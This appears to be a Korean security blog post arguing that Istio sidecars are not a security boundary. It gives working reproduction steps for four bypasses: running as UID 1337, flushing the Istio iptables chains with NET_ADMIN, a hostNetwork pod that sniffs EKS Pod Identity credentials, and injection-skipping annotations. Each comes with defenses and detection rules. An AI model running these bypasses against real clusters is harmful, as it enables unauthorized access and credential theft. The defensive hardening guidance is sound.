Istio 사이드카는 보안 경계가 아닙니다 — UID 1337, CAP_NET_ADMIN, 그리고 공격자가 먼저 알고 있는 것들

이군·2026년 4월 18일

Istio 사이드카는 보안 경계가 아닙니다 — UID 1337, CAP_NET_ADMIN, 그리고 공격자가 먼저 알고 있는 것들

“AuthorizationPolicy를 적용했으니 우리는 안전하다”고 믿는 순간, 공격자는 이미 우회하고 있다.

  • Istio 사이드카의 트래픽 가로채기는 보안 경계가 아니라 기능 편의입니다. Istio 공식 best-practices/security 문서도 이 점을 명시합니다.
  • 애플리케이션 컨테이너가 UID 1337로 프로세스를 띄우거나, CAP_NET_ADMIN/CAP_NET_RAW를 들고 있거나, hostNetwork: true이거나, 네임스페이스/파드 라벨을 건드릴 수 있다면 — 사이드카는 쉽게 우회됩니다.
  • 이건 Istio의 “취약점”이 아닙니다. iptables xt_owner 모듈의 동작 방식과 Kubernetes Pod 트러스트 모델에서 논리적으로 파생되는 귀결입니다.
  • 진짜 방어는 Istio AuthorizationPolicy “위에” 올라가는 게 아니라, Kubernetes NetworkPolicy + Pod Security Admission + Istio CNI + Egress Gateway + (선택) Ambient Mode의 계층 조합에서 옵니다.

1. “우리는 Istio를 썼으니 Zero Trust다” 라는 신화

현장에서 흔히 듣는 대화:

“서비스 간 통신은 mTLS이고, AuthorizationPolicy도 걸어뒀어요. 그러니까 내부에서도 인증 없이 못 부르죠.”

절반만 맞는 말입니다. AuthorizationPolicy는 트래픽이 Envoy 사이드카를 통과한다는 전제 위에서만 동작합니다. 그 전제가 깨지면, 정책은 그냥 쓰여만 있는 YAML이 됩니다.

그리고 그 전제를 깨는 건 생각보다 쉽습니다. 공격자가 이미 파드 안에 들어와 있다는 현실적인 가정(컨테이너 탈출, 의존성 공급망 공격, 취약한 웹 엔드포인트 등)에서는 더더욱.

Istio maintainer인 Howard John도 블로그에서 직접 이렇게 정리한 적이 있습니다: “egress 정책이 보안 수단이라고 생각하는 건 오해다. 사이드카를 우회하는 방법은 많고, 유일하게 안전한 방법은 Egress Gateway를 쓰되 NetworkPolicy와 함께 강제하는 것이다.”

즉, 사이드카는 “편의상의 관문”이지, “방화벽”이 아닙니다.


2. 왜 사이드카는 보안 경계가 될 수 없는가 — 설계 원리

Istio 사이드카 주입이 실제로 하는 일은 단순합니다.

  1. istio-init init container가 파드 네임스페이스에서 NET_ADMIN/NET_RAW를 써서 iptables 룰을 세움.
  2. 애플리케이션 트래픽을 REDIRECT로 Envoy(UID 1337)가 LISTEN하는 포트(15001/15006)로 돌림.
  3. Envoy가 mTLS/인가/라우팅을 수행하고 실제 목적지로 전달.

여기서 핵심은 — 이 모든 게 “파드 내부”에서 일어난다는 점입니다. Linux 트러스트 모델상 파드 내부는 하나의 같은 네트워크/사용자 네임스페이스입니다. 컨테이너 간 격리는 Linux kernel 관점에서 보안 경계가 아닙니다.

사이드카가 보는 트래픽은 iptables가 리다이렉트해준 트래픽뿐입니다. iptables 룰이 바뀌거나, 룰을 우회하는 경로가 열려 있으면 — 사이드카는 단순히 “거기 있을 뿐”인 프로세스가 됩니다.

실제로 사이드카가 주입된 파드 안에서 iptables를 떠보면 이렇게 나옵니다:

$ kubectl exec -it victim-pod -c app -- iptables -t nat -L ISTIO_OUTPUT -n -v
Chain ISTIO_OUTPUT (1 references)
 target              prot  source       destination     
 RETURN              all   127.0.0.6    0.0.0.0/0       
 ISTIO_IN_REDIRECT   all   0.0.0.0/0   !127.0.0.1      owner UID match 1337
 RETURN              all   0.0.0.0/0    0.0.0.0/0      ! owner UID match 1337
 RETURN              all   0.0.0.0/0    127.0.0.1       
 ISTIO_REDIRECT      all   0.0.0.0/0    0.0.0.0/0

이제 이 룰들을 어떻게 무력화할 수 있는지 하나씩 보겠습니다.


3. 공격 체인 #1 — UID 1337: iptables xt_owner의 함정

공격 전제

  • 공격자가 애플리케이션 컨테이너에서 RCE를 얻은 상태. (웹 RCE, 컨테이너 탈출, 공급망 공격 등)
  • 컨테이너에서 setuid() 호출이 가능한 상태. (기본 리눅스 이미지 + root 권한이면 충분)

재현 스크립트

# 1) 침해된 애플리케이션 컨테이너 내부로 진입
$ kubectl exec -it victim-pod -c app -- bash

# 2) 현재 iptables 룰 확인 — 1337 owner RETURN 룰이 보입니다
root@victim-pod:/# iptables-save -t nat | grep 1337
-A ISTIO_OUTPUT -m owner --uid-owner 1337 -j RETURN
-A ISTIO_OUTPUT -m owner --gid-owner 1337 -j RETURN

# 3) 사이드카를 거치는 정상 요청 (비교 baseline)
root@victim-pod:/# curl -s -o /dev/null -w "%{http_code}\n" \
    http://restricted-service.internal/admin
403
# → AuthorizationPolicy가 DENY로 막음. 여기까지는 Istio가 일하는 중.

# 4) UID 1337 사용자 생성
root@victim-pod:/# useradd -u 1337 -M -s /bin/bash bypass

# 5) UID 1337로 전환해서 동일 요청
root@victim-pod:/# su - bypass -c \
    'curl -s -o /dev/null -w "%{http_code}\n" http://restricted-service.internal/admin'
200
# → 사이드카 우회. AuthorizationPolicy는 평가조차 되지 않음.

왜 이게 동작하는가

xt_owner 커널 모듈은 소켓을 연 프로세스의 현재 fsuid/fsgid로 매치합니다. Istio의 egress 룰은 “UID 1337이 보낸 트래픽은 리다이렉트 하지 말 것”이라는 규칙을 갖고 있고, 공격자가 UID를 1337로 바꾸면 이 룰이 그대로 적용됩니다.

탐지 방법

  • Envoy access log에는 아예 흔적이 없습니다. 메시 관점에서는 존재하지 않는 트래픽입니다.
  • VPC Flow Logs, Kubernetes NetworkPolicy logs, 또는 eBPF 기반 런타임 보안(Falco, Tetragon 등)에서만 포착 가능합니다.
  • Falco 룰 예시: evt.type=setuid and proc.name!=pilot-agent and proc.name!=envoy and evt.arg.uid=1337.

근본 방어

  • Admission policy로 컨테이너의 runAsUser: 1337 / runAsGroup: 1337 금지.
  • 컨테이너 런타임에서 setuid syscall 제한 (seccomp RuntimeDefault 이상 + 필요하면 커스텀 프로파일).
  • 가장 중요한 건 — 네트워크 레이어에서 NetworkPolicy로 막는 것. Istio 레이어만 믿지 않기.

4. 공격 체인 #2 — CAP_NET_ADMIN: iptables 자체를 지우기

UID를 속이는 것도 번거로우면, 더 직접적인 방법이 있습니다.

공격 전제

  • 애플리케이션 컨테이너가 CAP_NET_ADMIN 또는 CAP_NET_RAW를 보유 (명시적으로 추가됐거나, privileged: true 컨테이너).
  • Istio CNI Plugin을 안 쓰는 환경이면, istio-init 때문에 이 권한들이 파드에 실질적으로 열려 있는 경우가 많습니다.

재현 스크립트

# 1) 침해된 컨테이너 진입 후 현재 capability 확인
$ kubectl exec -it victim-pod -c app -- bash
root@victim-pod:/# capsh --print | grep -i net
Current: cap_net_admin,cap_net_raw,... # 또는 +ep 표시

# 2) 현재 iptables 확인
root@victim-pod:/# iptables -t nat -L ISTIO_OUTPUT -n --line-numbers
Chain ISTIO_OUTPUT (1 references)
num  target
1    RETURN
2    ISTIO_IN_REDIRECT
3    RETURN
4    RETURN
5    ISTIO_REDIRECT

# 3) ISTIO_OUTPUT, ISTIO_INBOUND 체인 flush
root@victim-pod:/# iptables -t nat -F ISTIO_OUTPUT
root@victim-pod:/# iptables -t nat -F ISTIO_INBOUND
root@victim-pod:/# iptables -t nat -D PREROUTING -p tcp -j ISTIO_INBOUND
root@victim-pod:/# iptables -t nat -D OUTPUT     -p tcp -j ISTIO_OUTPUT

# 4) 이제 모든 트래픽이 사이드카를 거치지 않고 나갑니다
root@victim-pod:/# curl -v http://restricted-service.internal/admin
# → Envoy 리다이렉트 없음. mTLS도 없음. AuthorizationPolicy도 없음.

더 은밀하게 하고 싶다면 전체 flush 대신 선택적 우회 룰을 prepend할 수도 있습니다:

# 특정 목적지로 가는 트래픽만 리다이렉트에서 제외
root@victim-pod:/# iptables -t nat -I OUTPUT 1 \
    -d 10.100.5.20 -p tcp --dport 443 -j RETURN
# → 이 IP:PORT로 가는 트래픽만 우회. 나머지는 정상적으로 사이드카를 거치므로
#    관측 지표가 "대체로 정상"으로 보여서 알람이 잘 안 뜹니다.

어디서 이 capability가 살아있나

운영 중인 EKS 클러스터에서 한 번 떠보세요:

kubectl get pods -A -o json | jq -r '
  .items[] |
  select(.spec.containers[].securityContext.capabilities.add[]? |
         IN("NET_ADMIN","NET_RAW","SYS_ADMIN")) |
  "\(.metadata.namespace)/\(.metadata.name)"'

또는 privileged container 찾기:

kubectl get pods -A -o json | jq -r '
  .items[] |
  select(.spec.containers[].securityContext.privileged==true) |
  "\(.metadata.namespace)/\(.metadata.name)"'

근본 방어 — Istio CNI Plugin

Istio CNI Plugin을 쓰면 iptables 세팅은 노드 레벨의 CNI 플러그인이 수행하고, 애플리케이션 파드에서 NET_ADMIN/NET_RAW완전히 제거할 수 있습니다. Ambient mode에서는 이게 기본 동작입니다.

EKS를 쓴다면:

  • istioctl install--set components.cni.enabled=true 옵션 사용
  • AWS VPC CNI와 chaining 설정 (AWS_VPC_K8S_CNI_EXTERNALSNAT, CNI config 순서 확인)
  • PSA Restricted 프로파일로 애플리케이션 네임스페이스에서 capability 추가 자체를 막기

5. 공격 체인 #3 — hostNetwork: true: 네임스페이스 탈출

가장 직관적인 우회입니다.

공격 전제

  • 악성 파드를 배포할 수 있는 수준의 권한 (손상된 CI/CD, 침해된 서비스 어카운트).
  • 또는 네임스페이스 단에서 hostNetwork: true 파드가 이미 존재.

재현 시나리오: EKS Pod Identity 자격증명 탈취와 동일 패턴

2025년 6월 Trend Micro/ZDI가 공개한 ZDI-CAN-26891의 핵심이 이겁니다. hostNetwork: true 파드는 노드의 네트워크 네임스페이스를 공유하므로, 169.254.170.23:80으로 가는 평문 HTTP 자격증명 트래픽을 tcpdump로 그냥 스니핑할 수 있습니다.

# attacker-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: net-debug
  namespace: default
spec:
  hostNetwork: true        # ← 핵심
  containers:
  - name: sniffer
    image: nicolaka/netshoot
    command: ["sleep", "infinity"]
    securityContext:
      capabilities:
        add: ["NET_ADMIN", "NET_RAW"]
# 배포
$ kubectl apply -f attacker-pod.yaml

# 진입
$ kubectl exec -it net-debug -- bash

# 노드의 네트워크 네임스페이스에 들어와 있음 — ss로 노드 포트 확인 가능
root@net-debug:/# ss -tnlp | head
State  Recv-Q  Send-Q  Local Address:Port
LISTEN      0       4096   127.0.0.1:10248     # kubelet healthz
LISTEN      0       4096   127.0.0.1:10249     # kube-proxy metrics
LISTEN      0       4096   169.254.170.23:80   # ← EKS Pod Identity Agent
LISTEN      0       4096   0.0.0.0:15008       # ← 같은 노드 사이드카 포트

# 자격증명 평문 스니핑 (2025 ZDI-CAN-26891 재현)
root@net-debug:/# tcpdump -i any -A -s 0 'host 169.254.170.23 and port 80'
# → 다른 파드가 AWS API 호출할 때마다 Authorization 헤더와 credentials JSON이 평문으로 노출

# 같은 노드의 다른 파드 사이드카 메트릭 포트도 건드릴 수 있음
root@net-debug:/# curl -s http://127.0.0.1:15090/stats | grep cluster_name

Istio 관점에서 중요한 건: 이 파드 자체가 메시에 참여할 때도 사이드카가 무의미하다는 점입니다. hostNetwork: trueistio-init이 세운 iptables는 파드 네트워크 네임스페이스가 아니라 노드 네트워크 네임스페이스에 적용될 수 없거나, 적용되더라도 다른 모든 시스템 프로세스에 영향을 주게 됩니다.

근본 방어

  • PSA Restricted 프로파일을 네임스페이스에 적용:

    kubectl label namespace prod \
      pod-security.kubernetes.io/enforce=restricted \
      pod-security.kubernetes.io/enforce-version=latest
  • Gatekeeper / Kyverno로 hostNetwork, hostPID, hostIPC 명시적 금지.

  • EKS에서 eks-pod-identity-agent가 도는 노드에는 사용자 워크로드 파드에 hostNetwork를 절대 허용하지 말 것. 자격증명 탈취 경로가 동시에 열립니다.


6. 공격 체인 #4 — 주입 자체를 피하기 (라벨/어노테이션)

앞의 세 가지는 “사이드카가 있는데 우회”하는 방법이었습니다. 이건 더 게으른 방법 — 아예 사이드카를 안 받기입니다.

재현 스크립트

# stealth-pod.yaml — 메시 네임스페이스 안에서도 사이드카 없이 뜸
apiVersion: v1
kind: Pod
metadata:
  name: stealth
  namespace: prod         # istio-injection=enabled 네임스페이스
  annotations:
    sidecar.istio.io/inject: "false"    # ← 주입 스킵
spec:
  serviceAccountName: app-sa
  containers:
  - name: app
    image: curlimages/curl
    command: ["sleep", "infinity"]
$ kubectl apply -f stealth-pod.yaml

# 주입 여부 확인 — istio-proxy 컨테이너가 없음
$ kubectl get pod stealth -n prod -o jsonpath='{.spec.containers[*].name}'
app
# → istio-proxy 컨테이너 없음. AuthorizationPolicy 평가 대상 아님.

# 제한된 서비스 호출 — 사이드카가 없으니 mTLS도 없음
$ kubectl exec -it stealth -n prod -- \
    curl -s -o /dev/null -w "%{http_code}\n" \
    http://restricted-service.prod.svc.cluster.local/admin
200     # ← 평문 HTTP로 통과

다른 우회 변형도 있습니다:

# 포트 단위로 제외 — 훨씬 은밀함
annotations:
  traffic.sidecar.istio.io/excludeOutboundPorts: "443,3306"
  # → 특정 포트로 나가는 트래픽만 사이드카 우회

# 전체 interception 끄기 (interceptionMode NONE)
annotations:
  sidecar.istio.io/interceptionMode: "NONE"

메시 사각지대 탐지 쿼리

운영 중인 클러스터에서 한 번 떠보세요. 사이드카가 없는 파드를 한 줄로 뽑을 수 있습니다:

# 메시 대상 네임스페이스에서 istio-proxy 컨테이너 없는 파드 찾기
kubectl get ns -l istio-injection=enabled -o name | \
  xargs -I{} kubectl get pods -n {#*/} -o json | \
  jq -r '.items[] |
    select(.spec.containers | map(.name) | index("istio-proxy") | not) |
    "\(.metadata.namespace)/\(.metadata.name)"'

근본 방어

  • Admission webhook / Gatekeeper / Kyverno로 특정 네임스페이스에서는 주입 제외 어노테이션/라벨을 금지.

    Gatekeeper 예시 ConstraintTemplate 스니펫:

    violation[{"msg": msg}] {
      input.review.object.metadata.annotations["sidecar.istio.io/inject"] == "false"
      input.review.object.metadata.namespace == "prod"
      msg := "sidecar.istio.io/inject=false is forbidden in prod namespace"
    }
  • 네임스페이스 생성 권한과 istio-injection 라벨 변경 권한을 플랫폼 팀이 독점. 애플리케이션 팀은 raw Namespace/Pod를 못 건드리게.

  • 주기적 오딧: 위 스캔 쿼리를 cron으로 돌려 Slack/PagerDuty로 알림.


7. “그럼 뭘 어떻게 해야 하나요?” — 계층 방어 설계

위 네 가지 공격 체인의 공통점: Istio 하나로는 막을 수 없습니다. Istio는 애플리케이션 레이어의 정체성·암호화·관측을 제공하는 도구이지, 네트워크 격리 장치가 아닙니다.

실무에서 쓰는 계층 조합:

① Kubernetes NetworkPolicy (진짜 L3/L4 방화벽)
파드 간 통신을 Calico, Cilium, AWS VPC CNI Network Policy 등으로 강제 차단. 사이드카 우회가 일어나도 여기서 막힙니다. 이게 가장 중요합니다. Istio maintainer도 이 지점을 반복해서 강조합니다.

② Istio CNI Plugin
애플리케이션 파드에서 NET_ADMIN/NET_RAW를 제거. iptables 조작으로 사이드카를 우회하는 경로를 원천 차단.

③ Pod Security Admission Restricted 프로파일
hostNetwork, hostPID, privileged, 위험한 capabilities를 네임스페이스 단위로 거부.

④ Admission Policy (Gatekeeper / Kyverno)

  • UID/GID 1337 사용 금지
  • 주입 제외 어노테이션/라벨 금지
  • 임의의 securityContext.capabilities.add 금지
  • sidecar.istio.io/interceptionMode: NONE 금지

⑤ Egress Gateway + NetworkPolicy
egress 통제가 정말 필요하다면 Egress Gateway를 세우고, NetworkPolicy로 모든 outbound는 Egress Gateway만 거치게 강제. Egress Gateway는 애플리케이션과 다른 트러스트 도메인이라 우회가 어렵습니다.

⑥ 런타임 탐지 (Falco / Tetragon)
위 네 가지 공격 체인이 만드는 고유 시그니처(setuid(1337), iptables 수정, hostNetwork 파드 생성, 주입 제외 어노테이션)를 런타임에서 잡기.

⑦ (선택) Ambient Mode로의 전환
Istio Ambient mode의 ztunnel은 DaemonSet으로 노드 레벨에서 트래픽을 가로챕니다. 파드 안의 iptables나 UID 속임수로는 우회할 수 없습니다. 다만 트러스트 경계가 “파드”에서 “노드”로 바뀌는 거라, ztunnel이 죽으면 그 노드의 메시 트래픽 전체가 영향을 받습니다. 트레이드오프가 있습니다.


8. EKS 운영자를 위한 체크리스트

EKS + Istio 조합을 쓰는 입장에서 지금 바로 확인할 수 있는 항목들:

  • 메시 네임스페이스에 pod-security.kubernetes.io/enforce: restricted 라벨 적용
  • hostNetwork: true, privileged: true 파드 존재 여부 오딧
  • 애플리케이션 파드에 NET_ADMIN/NET_RAW capability 남아있는지 확인 → Istio CNI Plugin 전환 검토
  • sidecar.istio.io/inject: "false" 어노테이션 추적 및 Gatekeeper 정책화
  • Kubernetes NetworkPolicy 기본 default-deny + 명시적 allow 구조
  • Istio egress 통제가 있다면 Egress Gateway + NetworkPolicy 조합으로 재설계
  • EKS Pod Identity Agent가 있는 노드에서 hostNetwork 파드 금지 (2025년 ZDI-CAN-26891 건)
  • Istio 버전 1.27.8 / 1.28.5 / 1.29.1 이상 (2026년 3월 CVE-2026-31838 멀티밸류 헤더 RBAC 우회 패치)
  • 메시 파드 인벤토리 주기 스캔 (사이드카 없는 파드 탐지)
  • Falco/Tetragon 런타임 룰: setuid(1337), iptables 수정, 주입 제외 어노테이션 생성

9. 마치며 — 버그가 아니라 트러스트 모델의 문제

사이드카 우회는 Istio의 버그가 아닙니다. SQL Injection이 SQL의 버그가 아니었던 것처럼, Prompt Injection이 LLM의 버그가 아닌 것처럼 — 이건 트러스트 모델의 전제를 잘못 해석한 운영자의 구성 문제입니다.

Istio 공식 문서도 이 점을 명확히 합니다: “보안 경계는 ‘트래픽이 모두 Istio에 잡힌다’가 아니라, ‘다른 파드의 사이드카를 우회할 수 없다’이다.” 즉, 내가 침해당한 파드가 자기 사이드카를 우회하는 건 막을 수 없습니다. Istio가 지켜주는 건, 그 파드가 옆 파드의 사이드카를 못 건너뛴다는 것뿐입니다.

이 경계를 이해하면, AuthorizationPolicy 하나에 모든 걸 걸지 않게 됩니다. NetworkPolicy를 붙이고, PSA를 켜고, Gatekeeper를 쓰고, 필요하면 Ambient mode로 가는 게 자연스러운 흐름이 됩니다.

서비스 메시는 훌륭한 관측·신원·암호화 도구이지만, 방화벽의 자리를 대신 채우게 두지 마세요. 두 가지는 다른 레이어에서 다른 문제를 푸는 도구들입니다.


참고

profile
이군의 보안, 그리고 생각을 다룹니다.

0개의 댓글